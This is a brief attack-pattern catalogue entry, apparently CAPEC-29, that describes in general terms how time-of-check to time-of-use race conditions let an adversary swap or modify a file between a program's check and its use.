CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.